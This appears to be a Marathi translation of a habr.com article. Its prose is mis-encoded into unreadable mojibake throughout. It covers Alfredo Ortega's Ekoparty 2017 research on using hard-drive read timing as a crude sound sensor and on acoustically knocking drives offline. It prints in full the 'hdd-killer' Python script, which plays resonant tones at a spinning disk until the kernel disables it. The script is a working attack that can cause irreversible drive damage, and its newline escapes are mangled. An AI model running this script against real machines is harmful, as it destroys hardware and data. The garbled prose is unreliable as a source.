рддреБрдореНрд╣реА рддреБрдордЪреНрдпрд╛ HDD рд╡рд░ рдХрд╛ рдУрд░рдбреВ рдирдпреЗ

рддреБрдореНрд╣реА рддреБрдордЪреНрдпрд╛ HDD рд╡рд░ рдХрд╛ рдУрд░рдбреВ рдирдпреЗ

рдмреНрдпреВрдирд╕ рдЖрдпрд░реНрд╕рдордзреАрд▓ рдЗрдХреЛрдкрд╛рд░реНрдЯреА 2017 рд╕рдВрдЧрдгрдХ рд╕реБрд░рдХреНрд╖рд╛ рдкрд░рд┐рд╖рджреЗрдд, рдЕрд░реНрдЬреЗрдВрдЯрд╛рдЗрди рд╣реЕрдХрд░ рдЕрд▓реНрдлреНрд░реЗрдбреЛ рдСрд░реНрдЯреЗрдЧрд╛рдиреЗ рдПрдХ рдЕрддрд┐рд╢рдп рдордиреЛрд░рдВрдЬрдХ рд╡рд┐рдХрд╛рд╕ рджрд░реНрд╢рд╡рд┐рд▓рд╛ - рдорд╛рдпрдХреНрд░реЛрдлреЛрди рди рд╡рд╛рдкрд░рддрд╛ рдкрд░рд┐рд╕рд░рд╛рдЪреНрдпрд╛ рдЧреБрдкреНрдд рд╡рд╛рдпрд░рдЯреЕрдкрд┐рдВрдЧрд╕рд╛рдареА рдПрдХ рдкреНрд░рдгрд╛рд▓реА. рдЖрд╡рд╛рдЬ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣рд╡рд░ рдереЗрдЯ рд░реЗрдХреЙрд░реНрдб!

HDD рдореБрдЦреНрдпрддреНрд╡реЗ рдЙрдЪреНрдЪ-рддреАрд╡реНрд░рддреЗрдЪреЗ рдХрдореА-рдлреНрд░рд┐рдХреНрд╡реЗрдВрд╕реА рдЖрд╡рд╛рдЬ, рдкрд╛рдКрд▓ рдЖрдгрд┐ рдЗрддрд░ рдХрдВрдкрдиреЗ рдШреЗрддреЗ. рдорд╛рдирд╡реА рднрд╛рд╖рдг рдЕрджреНрдпрд╛рдк рдУрд│рдЦрд▓реЗ рдЬрд╛рдК рд╢рдХрдд рдирд╛рд╣реА, рдЬрд░реА рд╢рд╛рд╕реНрддреНрд░рдЬреНрдЮ рдпрд╛ рджрд┐рд╢реЗрдиреЗ рд╕рдВрд╢реЛрдзрди рдХрд░рдд рдЖрд╣реЗрдд (рдХрдореА-рдлреНрд░рд┐рдХреНрд╡реЗрдВрд╕реА рдХрдВрдкрдирд╛рдВрджреНрд╡рд╛рд░реЗ рднрд╛рд╖рдг рдУрд│рдЦ, рдЬреЗ рд░реЗрдХреЙрд░реНрдб рдХреЗрд▓реЗ рдЬрд╛рддреЗ, рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, рдЧрд╛рдпрд░реЛрд╕реНрдХреЛрдк рдХрд┐рдВрд╡рд╛ HDD рд╡рд░реВрди).

рдзреНрд╡рдиреА рдореНрд╣рдгрдЬреЗ рд╣рд╡реЗрдЪреЗ рдХрдВрдкрди рдХрд┐рдВрд╡рд╛ рдЗрддрд░ рдорд╛рдзреНрдпрдо. рдПрдЦрд╛рджреНрдпрд╛ рд╡реНрдпрдХреНрддреАрд▓рд╛ рддреЗ рдХрд╛рдирд╛рдЪреНрдпрд╛ рдкрдбрджреНрдпрд╛рджреНрд╡рд╛рд░реЗ рдХрд│рддреЗ, рдЬреЗ рдЖрддреАрд▓ рдХрд╛рдирд╛рдд рдХрдВрдкрдиреЗ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░рддреЗ. рдорд╛рдпрдХреНрд░реЛрдлреЛрди рд╕рд╛рдзрд╛рд░рдгрдкрдгреЗ рдХрд╛рдирд╛рдкреНрд░рдорд╛рдгреЗ рдбрд┐рдЭрд╛рдЗрди рдХреЗрд▓рд╛ рдЖрд╣реЗ - рдпреЗрдереЗ рджреЗрдЦреАрд▓, рдХрдВрдкрдиреЗ рдПрдХрд╛ рдкрд╛рддрд│ рдкрдбрджреНрдпрд╛рджреНрд╡рд╛рд░реЗ рд░реЗрдХреЙрд░реНрдб рдХреЗрд▓реА рдЬрд╛рддрд╛рдд, рдЬреА рд╡рд┐рджреНрдпреБрдд рдЖрд╡реЗрдЧ рдЙрддреНрддреЗрдЬрд┐рдд рдХрд░рддреЗ. рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣, рдЕрд░реНрдерд╛рддрдЪ, рдЖрд╕рдкрд╛рд╕рдЪреНрдпрд╛ рд╣рд╡реЗрддреАрд▓ рдЪрдврдЙрддрд╛рд░рд╛рдВрдореБрд│реЗ рд╕реВрдХреНрд╖реНрдо рдХрдВрдкрдирд╛рдВрдЪреНрдпрд╛ рдЕрдзреАрди рдЖрд╣реЗ. рд╣реЗ рдПрдЪрдбреАрдбреАрдЪреНрдпрд╛ рддрд╛рдВрддреНрд░рд┐рдХ рд╡реИрд╢рд┐рд╖реНрдЯреНрдпрд╛рдВрд╡рд░реВрди рджреЗрдЦреАрд▓ рдУрд│рдЦрд▓реЗ рдЬрд╛рддреЗ: рдЙрддреНрдкрд╛рджрдХ рд╕рд╣рд╕рд╛ рдЬрд╛рд╕реНрддреАрдд рдЬрд╛рд╕реНрдд рдЕрдиреБрдЬреНрдЮреЗрдп рдХрдВрдкрди рдкрд╛рддрд│реА рджрд░реНрд╢рд╡рддрд╛рдд рдЖрдгрд┐ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣ рд╕реНрд╡рддрдГ рддреЗ рд░рдмрд░ рдХрд┐рдВрд╡рд╛ рдЗрддрд░ рдЗрдиреНрд╕реБрд▓реЗрдЯ рд╕рд╛рдордЧреНрд░реАрдкрд╛рд╕реВрди рдмрдирд╡рд▓реЗрд▓реНрдпрд╛ рдХрдВрдкрди-рдкреНрд░реВрдл рдХрдВрдЯреЗрдирд░рдордзреНрдпреЗ рдареЗрд╡рдгреНрдпрд╛рдЪрд╛ рдкреНрд░рдпрддреНрди рдХрд░рддреЗ. рдпрд╛рд╡рд░реВрди HDD рд╡рд╛рдкрд░реВрди рдзреНрд╡рдиреА рд░реЗрдХреЙрд░реНрдб рдХрд░рддрд╛ рдпреЗрддрд╛рдд рдЕрд╕рд╛ рдирд┐рд╖реНрдХрд░реНрд╖ рдХрд╛рдврдгреЗ рд╕реЛрдкреЗ рдЬрд╛рддреЗ. рдХрд╕реЗ рддреЗ рд╢реЛрдзрдгреЗ рдмрд╛рдХреА рдЖрд╣реЗ.

рдЕрд▓реНрдлреНрд░реЗрдбреЛ рдСрд░реНрдЯреЗрдЧрд╛рдиреЗ рд╕рд╛рдЗрдб-рдЪреЕрдирд▓ рд╣рд▓реНрд▓реНрдпрд╛рдЪреА рдПрдХ рдЕрдиреЛрдЦреА рдЖрд╡реГрддреНрддреА рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХреЗрд▓реА, рдореНрд╣рдгрдЬреЗ рдЯрд╛рдЗрдо рдЕрдЯреЕрдХ. рджрд┐рд▓реЗрд▓реНрдпрд╛ рдЗрдирдкреБрдЯ рдбреЗрдЯрд╛рд╡рд░ рдЕрд╡рд▓рдВрдмреВрди, рд╡реЗрдЧрд╡реЗрдЧрд│реНрдпрд╛ рд╡реЗрд│реА рдбрд┐рд╡реНрд╣рд╛рдЗрд╕рд╡рд░ рд╡реЗрдЧрд╡реЗрдЧрд│реНрдпрд╛ рдСрдкрд░реЗрд╢рдиреНрд╕ рдХреЗрд▓реНрдпрд╛ рдЬрд╛рддрд╛рдд рдпрд╛ рдЧреГрд╣рд┐рддрдХрд╛рд╡рд░ рд╣рд╛ рд╣рд▓реНрд▓рд╛ рдЖрдзрд╛рд░рд┐рдд рдЖрд╣реЗ. рдпрд╛ рдкреНрд░рдХрд░рдгрд╛рдд, тАЬрдЗрдирдкреБрдЯ рдбреЗрдЯрд╛тАЭ рдореНрд╣рдгрдЬреЗ рд╡рд╛рдЪрди рд╣реЗрдб рдЖрдгрд┐ рдПрдЪрдбреАрдбреА рдкреНрд▓реЗрдЯрд░рдЪреА рдХрдВрдкрдирдВ, рдЬреА рдкрд░реНрдпрд╛рд╡рд░рдгрд╛рдЪреНрдпрд╛ рдХрдВрдкрдирд╛рдВрд╢реА, рдореНрд╣рдгрдЬреЗрдЪ рдЖрд╡рд╛рдЬрд╛рд╢реА рд╕рдВрдмрдВрдзрд┐рдд рдЕрд╕рддрд╛рдд. рдЕрд╢рд╛ рдкреНрд░рдХрд╛рд░реЗ, рдЧрдгрдиреЗрдЪреНрдпрд╛ рд╡реЗрд│реЗрдЪреЗ рдореЛрдЬрдорд╛рдк рдХрд░реВрди рдЖрдгрд┐ рдбреЗрдЯрд╛рдЪреЗ рд╕рд╛рдВрдЦреНрдпрд┐рдХреАрдп рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реВрди, рдбреЛрдХреЗ/рдкреНрд▓реЗрдЯрд░рдЪреА рдХрдВрдкрди рдЖрдгрд┐ рдореНрд╣рдгреВрди рдорд╛рдзреНрдпрдорд╛рдЪреА рдХрдВрдкрди рдореЛрдЬрд▓реА рдЬрд╛рдК рд╢рдХрддреЗ. рдбреЗрдЯрд╛ рд╡рд╛рдЪрдгреНрдпрд╛рдд рдЬрд┐рддрдХрд╛ рдЬрд╛рд╕реНрдд рдЙрд╢реАрд░ рд╣реЛрдИрд▓, рддрд┐рддрдХрд╛ HDD рдХрдВрдкрди рдЕрдзрд┐рдХ рдордЬрдмреВрдд рд╣реЛрдИрд▓ рдЖрдгрд┐ рдореНрд╣рдгреВрди, рдореЛрдард╛ рдЖрд╡рд╛рдЬ.

рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣ рдХрдВрдкрди рдХрд╕реЗ рдореЛрдЬрд╛рдпрдЪреЗ? рдЕрдЧрджреА рд╕реЛрдкреЗ: рдлрдХреНрдд рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдЪрд╛рд▓рд╡рд╛ read () тАФ рдЖрдгрд┐ рдкреВрд░реНрдг рд╣реЛрдгреНрдпрд╛рд╕рд╛рдареА рд▓рд╛рдЧрдгрд╛рд░рд╛ рд╡реЗрд│ рд░реЗрдХреЙрд░реНрдб рдХрд░рд╛. рдЖрдзреБрдирд┐рдХ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдЖрдкрд▓реНрдпрд╛рд▓рд╛ рдиреЕрдиреЛрд╕реЗрдХрдВрдж рдЕрдЪреВрдХрддреЗрд╕рд╣ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓рдЪреА рд╡реЗрд│ рд╡рд╛рдЪрдгреНрдпрд╛рдЪреА рдкрд░рд╡рд╛рдирдЧреА рджреЗрддрд╛рдд.

рд╕реЗрдХреНрдЯрд░рдордзреАрд▓ рдорд╛рд╣рд┐рддреА рд╡рд╛рдЪрдгреНрдпрд╛рдЪреА рдЧрддреА рд╣реЗ рдбреЛрдХреЗ рдЖрдгрд┐ рдкреНрд▓реЗрдЯрдЪреНрдпрд╛ рд╕реНрдерд┐рддреАрд╡рд░ рдЕрд╡рд▓рдВрдмреВрди рдЕрд╕рддреЗ, рдЬреА HDD рдХреЗрд╕рдЪреНрдпрд╛ рдХрдВрдкрдирд╛рдВрд╢реА рд╕рдВрдмрдВрдзрд┐рдд рдЕрд╕рддреЗ. рдЗрддрдХрдВрдЪ.

рд╕рд╛рдзреНрдпрд╛ Kscope рдпреБрдЯрд┐рд▓рд┐рдЯреАрдЪрд╛ рд╡рд╛рдкрд░ рдХрд░реВрди рд╕рд╛рдВрдЦреНрдпрд┐рдХреАрдп рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗрд▓реЗ рдЬрд╛рддреЗ. рдЬрд╕реЗ рддреЗ рдореНрд╣рдгрддрд╛рдд, рдХрд▓реНрдкрдХ рд╕рд░реНрд╡рдХрд╛рд╣реА рд╕реЛрдкреЗ рдЖрд╣реЗ.

рддреБрдореНрд╣реА рддреБрдордЪреНрдпрд╛ HDD рд╡рд░ рдХрд╛ рдУрд░рдбреВ рдирдпреЗ
Kscope рдЙрдкрдпреБрдХреНрддрддрд╛ (stat() syscall)

рдХреЗрд╕реНрдХреЛрдк рд╣реА рд╕рд┐рд╕реНрдЯреАрдо рдХреЙрд▓ рдПрдХреНрдЭрд┐рдХреНрдпреВрд╢рди рд╡реЗрд│реЗрддреАрд▓ рд▓рд╣рд╛рди рдлрд░рдХрд╛рдВрдЪреА рдХрд▓реНрдкрдирд╛ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдПрдХ рдЫреЛрдЯреА рдЙрдкрдпреБрдХреНрддрддрд╛ рдЖрд╣реЗ. рд╕реНрддреНрд░реЛрддGitHub рд╡рд░ рдЙрдШрдбрд╛.

рд╡реЗрдЧрд│реНрдпрд╛ рднрд╛рдВрдбрд╛рд░рд╛рдд HDD-рд╡реЗрд│ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣рд╡рд░реАрд▓ рд╡реЗрд│реЗрдЪреНрдпрд╛ рд╣рд▓реНрд▓реНрдпрд╛рд╕рд╛рдареА рдХреЙрдиреНрдлрд┐рдЧрд░ рдХреЗрд▓реЗрд▓реНрдпрд╛ рдпреБрдЯрд┐рд▓рд┐рдЯреАрдЪреА рдЖрд╡реГрддреНрддреА рдЖрд╣реЗ, рдореНрд╣рдгрдЬреЗрдЪ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓рдЪреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдХреЙрдиреНрдлрд┐рдЧрд░ рдХреЗрд▓реЗрд▓реА рдЖрд╣реЗ read ().

HDD рд╡рд╛рдкрд░реВрди рдзреНрд╡рдиреА рд░реЗрдХреЙрд░реНрдбрд┐рдВрдЧрдЪреЗ рдкреНрд░рд╛рддреНрдпрдХреНрд╖рд┐рдХ, Kscope рдпреБрдЯрд┐рд▓рд┐рдЯреАрдЪреЗ рдСрдкрд░реЗрд╢рди


рдЕрд░реНрдерд╛рдд, рднрд╛рд╖рдг рдЕрд╢рд╛ рдкреНрд░рдХрд╛рд░реЗ рд╕рдордЬреВ рд╢рдХрдд рдирд╛рд╣реА, рдкрд░рдВрддреБ рдПрдЪрдбреАрдбреА рдХрдВрдкрди рд╕реЗрдиреНрд╕рд░ рдореНрд╣рдгреВрди рдпреЛрдЧреНрдп рдЖрд╣реЗ. рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, рдПрдЦрд╛рджреНрдпрд╛ рд╡реНрдпрдХреНрддреАрдиреЗ рдХрдареЛрд░ рд╢реВрдЬ рдШрд╛рддрд▓реЗрд▓реЗ рдХрд┐рдВрд╡рд╛ рдЕрдирд╡рд╛рдгреА рдкрд╛рдпрд╛рдиреЗ рд╕рдВрдЧрдгрдХ рдЕрд╕рд▓реЗрд▓реНрдпрд╛ рдЦреЛрд▓реАрдд рдкреНрд░рд╡реЗрд╢ рдХреЗрд▓рд╛ рддрд░ рддреБрдореНрд╣реА рдиреЛрдВрджрдгреА рдХрд░реВ рд╢рдХрддрд╛ (рдХрджрд╛рдЪрд┐рдд, рд╣рд▓реНрд▓реЗрдЦреЛрд░рд╛рдиреЗ рдордК рд╕реНрдиреАрдХрд░реНрд╕ рдШрд╛рддрд▓реЗрд▓реЗ рдЕрд╕рд▓реНрдпрд╛рд╕ рдХрд┐рдВрд╡рд╛ рдЬрдорд┐рдиреАрд╡рд░ рдЬрд╛рдб рдЧрд╛рд▓рд┐рдЪрд╛ рдЕрд╕рд▓реНрдпрд╛рд╕, HDD рдХрдВрдкрдирд╛рдВрдЪреА рдиреЛрдВрджрдгреА рдХрд░реВ рд╢рдХрдгрд╛рд░ рдирд╛рд╣реА - рд╣реЗ рддрдкрд╛рд╕рдгреНрдпрд╛рд╕рд╛рд░рдЦреЗ рдЖрд╣реЗ). рд╕рдВрдЧрдгрдХ рддреБрдЯрд▓реЗрд▓реА рдХрд╛рдЪ рдХрд┐рдВрд╡рд╛ рдордЬрдмреВрдд рдЖрд╡рд╛рдЬрд╛рдЪреНрдпрд╛ рддреАрд╡реНрд░рддреЗрд╕рд╣ рдЗрддрд░ рдШрдЯрдирд╛ рдиреЛрдВрджрд╡рд┐рдгреНрдпрд╛рд╕ рд╕рдХреНрд╖рдо рдЖрд╣реЗ. рдореНрд╣рдгрдЬреЗрдЪ, рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣ рдПрдХ рдкреНрд░рдХрд╛рд░рдЪреА рдЕрдирдзрд┐рдХреГрдд рдШреБрд╕рдЦреЛрд░реА рд╢реЛрдз рдкреНрд░рдгрд╛рд▓реА рдореНрд╣рдгреВрди рдХрд╛рдо рдХрд░реВ рд╢рдХрддреЗ.

рдПрдЪрдбреАрдбреА рдХрд┐рд▓рд░

рддрд╕реЗ, рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣ рдЕрдХреНрд╖рдо рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рд╕рдорд╛рди рддрдВрддреНрд░ рд╡рд╛рдкрд░рд▓реЗ рдЬрд╛рдК рд╢рдХрддреЗ. рдлрдХреНрдд рдЗрдереЗрдЪ рдЖрдореНрд╣реА HDD рдордзреВрди рджреЛрд▓рди рдХрд╛рдврдд рдирд╛рд╣реА, рддрд░ рддреНрдпрд╛рдЙрд▓рдЯ, рдЖрдореНрд╣реА HDD рд▓рд╛ рджрд┐рд▓реЗрд▓реЗ рджреЛрд▓рди рд╡реНрдпреБрддреНрдкрдиреНрди рдХрд░рддреЛ. рддреБрдореНрд╣реА HDD рдлреНрд░рд┐рдХреНрд╡реЗрдиреНрд╕реАрд╕рд╣ рд░рд┐рдЭреЛрдиреЗрдЯреНрд╕ рд╣реЛрдгрд╛рд▒реНрдпрд╛ рдлреНрд░рд┐рдХреНрд╡реЗрдиреНрд╕реАрд╡рд░ рд╕реНрдкреАрдХрд░рд╡рд░реВрди рдЖрд╡рд╛рдЬ рд╡рд╛рдЬрд╡рд▓реНрдпрд╛рд╕, рд╕рд┐рд╕реНрдЯрдо рд▓рд╡рдХрд░рдЪ I/O рддреНрд░реБрдЯреАрд╕рд╣ рдбрд┐рд╡реНрд╣рд╛рдЗрд╕ рдмрдВрдж рдХрд░рддреЗ (рд▓рд┐рдирдХреНрд╕ рдХрд░реНрдирд▓ 120 рд╕реЗрдХрдВрджрд╛рдВрдирдВрддрд░ HDD рдкреВрд░реНрдгрдкрдгреЗ рдмрдВрдж рдХрд░рддреЗ). рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣рд▓рд╛рдЪ рдЕрдкрд░рд┐рд╡рд░реНрддрдиреАрдп рдиреБрдХрд╕рд╛рди рд╣реЛрдК рд╢рдХрддреЗ.

рддреБрдореНрд╣реА рддреБрдордЪреНрдпрд╛ HDD рд╡рд░ рдХрд╛ рдУрд░рдбреВ рдирдпреЗ
Linux рдХрд░реНрдирд▓рдиреЗ рдПрдбрд┐рдлрд╛рдпрд░ r120u USB рд╕реНрдкреАрдХрд░рдЪреНрдпрд╛ рд╕реНрдкреАрдХрд░рджреНрд╡рд╛рд░реЗ рд░реЗрдЭреЛрдирдВрдЯ рдлреНрд░рд┐рдХреНрд╡реЗрдиреНрд╕реАрдордзреНрдпреЗ рдЖрд╡рд╛рдЬ рд╡рд┐рддрд░реАрдд рдХреЗрд▓реНрдпрд╛рдирдВрддрд░ 19 рд╕реЗрдХрдВрджрд╛рдВрдирдВрддрд░ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣ рдмрдВрдж рдХреЗрд▓реА. рд╕реНрдкреАрдХрд░ рд╕реБрдорд╛рд░реЗ рдПрдХ рдЪрддреБрд░реНрдерд╛рдВрд╢ рдкреЙрд╡рд░ (100 mW рдкреЗрдХреНрд╖рд╛ рдХрдореА) рд╡рд░ рдЪрд╛рд▓реВ рдХреЗрд▓рд╛ рдЬрд╛рддреЛ рдЖрдгрд┐ HDD рдкрд╛рд╕реВрди 20 рд╕реЗрдореА рдЕрдВрддрд░рд╛рд╡рд░ рдЕрд╕рддреЛ, рдЬреНрдпрд╛рдЪреЗ рд▓рдХреНрд╖реНрдп рдХрдВрдкрди рд╡рд╛рдврд╡рд┐рдгреНрдпрд╛рд╕рд╛рдареА рдЯреЗрдмрд▓рд╡рд░ рдЕрд╕рддреЗ. рдкрд╛рд╕реВрди рдлреНрд░реЗрдо рд╡реНрд╣рд┐рдбрд┐рдУ HDD рдХрд┐рд▓рд░рдЪреНрдпрд╛ рдкреНрд░рд╛рддреНрдпрдХреНрд╖рд┐рдХрд╛рд╕рд╣

рд╣реЗ рдЬрд┐рдЬреНрдЮрд╛рд╕реВ рдЖрд╣реЗ рдХреА HDD рд╡рд░ рдЕрд╕реЗ "рд╣рд▓реНрд▓реЗ" рдХрдзреАрдХрдзреА рдкреВрд░реНрдгрдкрдгреЗ рджреИрдирдВрджрд┐рди рдЬреАрд╡рдирд╛рдд рдЕрдкрдШрд╛рддрд╛рдиреЗ рд╣реЛрддрд╛рдд. рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, рд╕рдкреНрдЯреЗрдВрдмрд░ 2016 рдордзреНрдпреЗ, ING рдмрдБрдХ рдбреЗрдЯрд╛ рд╕реЗрдВрдЯрд░рд▓рд╛ рдлрд╛рдпрд░ рдбреНрд░рд┐рд▓рдирдВрддрд░ 10 рддрд╛рд╕рд╛рдВрд╕рд╛рдареА рдСрдкрд░реЗрд╢рди рд╕реНрдердЧрд┐рдд рдХрд░рдгреНрдпрд╛рд╕ рднрд╛рдЧ рдкрд╛рдбрд▓реЗ рдЧреЗрд▓реЗ. рдбрдЭрдирднрд░ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣ рдЕрдпрд╢рд╕реНрд╡реА рдЭрд╛рд▓реНрдпрд╛ рдЖрд╣реЗрдд рдЙрдЪреНрдЪ рджрд╛рдмрд╛рдиреЗ рд╕рд┐рд▓рд┐рдВрдбрд░рдордзреВрди рдмрд╛рд╣реЗрд░ рдкрдбрдгрд╛рд▒реНрдпрд╛ рдЗрдирд░реНрдЯ рдЧреЕрд╕рдЪреНрдпрд╛ рдореЛрдареНрдпрд╛ рдЖрд╡рд╛рдЬрд╛рдореБрд│реЗ. рдЖрд╡рд╛рдЬ рдЦреВрдк рдореЛрдард╛ рд╣реЛрддрд╛ (130 dB рдкреЗрдХреНрд╖рд╛ рдЬрд╛рд╕реНрдд), рдкрд░рдВрддреБ рдЖрдкрдг рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣рд╡рд░ рдУрд░рдбрдгреЗ рджреЗрдЦреАрд▓ рдХрд░реВ рд╢рдХрдд рдирд╛рд╣реА - рдпрд╛рдореБрд│реЗ HDD рдордзреНрдпреЗ рдкреНрд░рд╡реЗрд╢ рдХрд░рдгреНрдпрд╛рдд рд╡рд┐рд▓рдВрдм рд╡рд╛рдврддреЛ.

рдбреЗрдЯрд╛ рд╕реЗрдВрдЯрд░рдордзреАрд▓ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣рд╡рд░ рдорд╛рдирд╡реА рдУрд░рдбрдгреНрдпрд╛рдЪреЗ рдкреНрд░рд╛рддреНрдпрдХреНрд╖рд┐рдХ. рд╡рд┐рд▓рдВрдм рдореЛрдЬрдорд╛рдк


рдкреНрд░рддрд┐рдзреНрд╡рдиреА рдирд┐рд░реНрдорд╛рдг рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА, рдЕрд▓реНрдлреНрд░реЗрдбреЛ рдСрд░реНрдЯреЗрдЧрд╛рдиреЗ рдкрд╛рдпрдерди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рд╣рд┐рд▓реА рдПрдЪрдбреАрдбреА-рдХрд┐рд▓рд░ (рд╡реНрд╣рд┐рдбрд┐рдУ рдкреНрд░рд╛рддреНрдпрдХреНрд╖рд┐рдХ).

HDD рдХрд┐рд▓рд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рддреЗ рдЦреВрдкрдЪ рд▓рд╣рд╛рди рдЖрд╣реЗ, рддреНрдпрд╛рдореБрд│реЗ рддреБрдореНрд╣реА рддреЗ рд╕рдВрдкреВрд░реНрдгрдкрдгреЗ рдпреЗрдереЗ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░реВ рд╢рдХрддрд╛.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

рд╕реНрддреНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╛